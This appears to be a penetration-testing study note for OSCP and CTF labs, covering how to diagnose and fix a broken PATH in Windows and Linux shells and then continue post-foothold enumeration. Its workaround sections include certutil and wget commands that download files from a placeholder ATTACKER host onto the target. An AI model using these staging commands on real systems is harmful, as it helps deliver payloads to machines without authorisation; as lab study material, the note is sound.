Broken PATH — Commands Not Found

Ctrl+F: not recognized · %PATH% · $PATH · set PATH · export PATH · System32 · /usr/bin

When basic commands fail but full paths work, your PATH is broken or empty — not that the programs are missing.

Windows symptom:

C:\Users\tony>whoami
'whoami' is not recognized as an internal or external command...
 
C:\Users\tony>echo %PATH%
C:\Users\tony\AppData\Local\Microsoft\WindowsApps;

Fix worked:

set PATH=C:\Windows\System32;C:\Windows
whoami
jacko\tony

→ Shell · Restricted Shell Escape (intentionally tiny PATH / rbash)

---

📌 What PATH does

When you type whoami, the OS searches directories listed in PATH for whoami.exe (Windows) or whoami (Linux).

If C:\Windows\System32 or /usr/bin is missing from PATH, everything looks “not installed” — even cmd, help, curl, where.

---

📌 Windows — diagnose

echo %PATH%
echo %COMSPEC%
 
C:\Windows\System32\whoami.exe
dir C:\Windows\System32\whoami.exe

Check	Normal
%PATH% includes	C:\Windows\System32 · C:\Windows
%COMSPEC%	C:\Windows\system32\cmd.exe
Full path works	PATH issue confirmed

Bad PATH example (OSCP/CTF common):

C:\Users\tony\AppData\Local\Microsoft\WindowsApps;

Only Store aliases — no System32.

---

📌 Windows — fix (session)

set PATH=C:\Windows\System32;C:\Windows
 
whoami
whoami /priv
cmd
where whoami

Extended fix (add common dirs):

set PATH=C:\Windows\System32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0

Then use commands normally.

---

📌 Windows — workaround (full paths)

If set PATH fails or you want one-offs:

C:\Windows\System32\whoami.exe /priv
C:\Windows\System32\net.exe user
C:\Windows\System32\ipconfig.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\certutil.exe -urlcache -split -f http://ATTACKER/file.exe C:\Temp\file.exe

→ Windows CMD - Powershell Commands · certutil

---

📌 Windows — why it happens on exam boxes

Cause	Notes
Intentionally cleared PATH	CTF / OSCP misconfig
Shell from vulnerable app	Minimal environment on spawn
Restricted / weird shell	May also need Restricted Shell Escape
User profile corruption	Rare on lab machines

---

📌 Linux — diagnose

Same issue — stripped or empty $PATH:

whoami
# bash: whoami: command not found
 
echo $PATH
# empty or very short
 
/usr/bin/whoami
/bin/bash
# works → PATH issue

echo $PATH
echo $SHELL
printenv PATH
which whoami
type whoami

---

📌 Linux — fix (session)

Standard Debian/Ubuntu/Kali PATH:

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
 
whoami
id
sudo -l

Minimal fix:

export PATH=/usr/bin:/bin:/sbin
 
whoami

Persist for current shell only — lost on exit unless added to profile (usually not needed on exam; fix each new shell).

---

📌 Linux — workaround (full paths)

/usr/bin/whoami
/bin/bash
/usr/bin/id
/usr/bin/sudo -l
/usr/bin/python3
/usr/bin/wget http://ATTACKER/script.sh -O /tmp/s.sh

Find a binary when PATH is empty:

ls /usr/bin/whoami /bin/whoami 2>/dev/null
find /usr/bin /bin -name 'whoami' 2>/dev/null

---

📌 Linux — why it happens

Cause	Notes
rbash / restricted shell	Tiny PATH by design → Restricted Shell Escape
Webshell / reverse shell spawn	App strips environment
env -i or minimal cron	Empty PATH
Privesc / exploit side effect	Some exploits spawn bare shell

rbash vs broken PATH: rbash often allows some commands; fully broken PATH breaks everything except builtins (echo on Windows cmd, echo/export on bash).

---

📌 Side-by-side cheat sheet

Step	Windows	Linux
Check PATH	echo %PATH%	echo $PATH
Test full path	C:\Windows\System32\whoami.exe	/usr/bin/whoami
Fix session	set PATH=C:\Windows\System32;C:\Windows	export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
Shell	echo %COMSPEC%	echo $SHELL
PowerShell	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

---

📌 After fixing PATH

Continue normal enum:

whoami /priv
systeminfo
ipconfig /all

whoami
id
sudo -l
uname -a

→ Linux · Windows PrivEsc · Initial foothold

---

Related Notes

• Shell
• Restricted Shell Escape
• Install Download and Run
• Reference
• Stuck?